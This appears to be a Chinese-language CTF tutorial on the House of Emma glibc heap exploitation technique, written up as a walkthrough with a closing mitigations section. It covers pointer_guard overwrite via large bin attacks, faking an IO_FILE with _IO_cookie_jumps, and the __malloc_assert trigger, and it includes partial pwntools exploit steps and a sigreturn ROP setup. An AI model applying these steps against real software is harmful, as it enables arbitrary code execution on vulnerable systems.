house of emma源码及orw
字数 1506 2025-08-22 12:22:48
House of Emma 攻击技术详解
1. 背景与概述
House of Emma 是一种针对 glibc 堆管理机制的利用技术,属于 IO_FILE 利用系列的一部分。它是在 House of Kiwi 基础上的进阶技术,主要解决当 _IO_file_jumps 不可写时的利用场景。
2. 技术原理
2.1 限制条件
- 自 libc-2.24 起对 vtable 指向的地址范围有检查,不能随意劫持 vtable
- 自 glibc-2.28 起,
_IO_str_jumps上的_IO_str_finish不再调用_IO_strfile上的函数指针
2.2 关键结构
利用 _IO_cookie_jumps 中的危险函数:
static ssize_t _IO_cookie_read(FILE *fp, void *buf, ssize_t size) {
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE(read_cb);
#endif
return read_cb(cfile->__cookie, buf, size);
}
// 类似的还有 _IO_cookie_write, _IO_cookie_seek, _IO_cookie_close
_IO_cookie_file 结构定义:
struct _IO_cookie_file {
struct _IO_FILE_plus __fp;
void *__cookie;
cookie_io_functions_t __io_functions;
};
typedef struct _IO_cookie_io_functions_t {
cookie_read_function_t *read;
cookie_write_function_t *write;
cookie_seek_function_t *seek;
cookie_close_function_t *close;
} cookie_io_functions_t;
2.3 指针保护机制
PTR_DEMANGLE 宏的操作是将函数指针循环右移 11 位然后与 fs:[0x30] 异或得到真正的函数地址。
fs:[0x30] 是 pointer_guard,用于对指针进行加密,位于 TLS 结构中:
typedef struct {
void *tcb; /* 指向TCB */
dtv_t *dtv; /* 指向dtv数组 */
void *self; /* 指向自身 */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; /* canary值 */
uintptr_t pointer_guard; /* 用于保护指针 */
//...
} tcbhead_t;
3. 利用流程
3.1 前置条件
- 泄露堆地址和 libc 基地址
- 利用 large bin attack 在 TLS 对应
pointer_guard上写一个 chunk 地址 - 根据 libc 基地址定位
pointer_guard
3.2 触发路径
通过 __malloc_assert 触发漏洞:
__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> outstring -> _IO_sputn
3.3 具体步骤
- 泄露 libc 和堆地址
- 利用 2 次 large bin attack 分别覆盖
pointer_guard和stderr指针为某 chunk 地址 - 构造伪造的 IO_FILE 结构
- 通过
__malloc_assert触发漏洞
3.4 注意事项
- 伪造的 IO_FILE 的
_lock应该指向可读写的内存 - glibc-2.36 的
__malloc_assert直接通过系统调用不走 IO,该方法失效 - 远程攻击存在爆破可能,因为 TLS 位于 ld 文件中
4. 实例分析
4.1 题目代码
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
// 其他函数实现...
4.2 利用步骤
-
初始堆布局:
add(0, 0x418) add(1, 0x18) add(2, 0x428) add(3, 0x18) -
泄露地址:
free(2) free(0) show(2) libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96) show(0) heap_base = u64(io.recvuntil(b'\x55\x55')[-6:].ljust(8, b'\x00')) & ~0xFFF -
第一次 large bin attack(覆盖 stderr):
add(0, 0x418) edit(2, p64(0)*3 + p64(libc.sym['stderr'] - 0x20)) free(0) add(0, 0x408) -
第二次 large bin attack(覆盖 pointer_guard):
pointer_guard = libc.address - 0x2890 edit(2, p64(0)*3 + p64(pointer_guard - 0x20)) free(0) add(0, 0x3f8) -
构造伪造的 IO_FILE 结构:
fake_file = b"" fake_file += p64(0) # _IO_read_end # ... 填充其他字段 ... fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') fake_file += p64(libc.sym['_IO_cookie_jumps'] + 0x40) # fake vtable fake_file += p64(frame_addr) # cookie fake_file += p64(0) # read fake_file += p64(rol(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20]'), executable=True)) ^ file_addr, 0x11)) # write fake_file += p64(0) # seek fake_file += p64(0) # close -
构造 ROP 链:
frame = SigreturnFrame() frame.rdi = buf_addr frame.rsi = 0 frame.rsp = rop_addr frame.rip = libc.sym["open"] -
触发漏洞:
edit(2, payload) edit(3, b"\x00"*0x20) add(0, 0x500) # 触发 __malloc_assert
5. 关键点总结
- 地址泄露:必须泄露 libc 和堆地址
- large bin attack:需要两次攻击分别修改 stderr 和 pointer_guard
- 指针保护绕过:通过修改 pointer_guard 使得加密后的指针可控
- IO_FILE 伪造:精心构造伪造的 IO_FILE 结构,特别是 vtable 指向 _IO_cookie_jumps
- 触发路径:通过破坏 top chunk 触发 __malloc_assert
6. 防御与缓解
- 更新到最新版 glibc(2.36+)
- 启用完整的 ASLR
- 使用堆保护机制如 Heap Guard
- 监控异常的大内存分配行为
7. 扩展思考
- 在其他 IO 操作中寻找类似的利用路径
- 探索 pointer_guard 的其他修改方式
- 研究 glibc 新版本中的替代利用方法
通过 House of Emma 技术,攻击者可以在特定条件下绕过 glibc 的保护机制,实现任意代码执行。理解其原理对于二进制安全研究和防御都具有重要意义。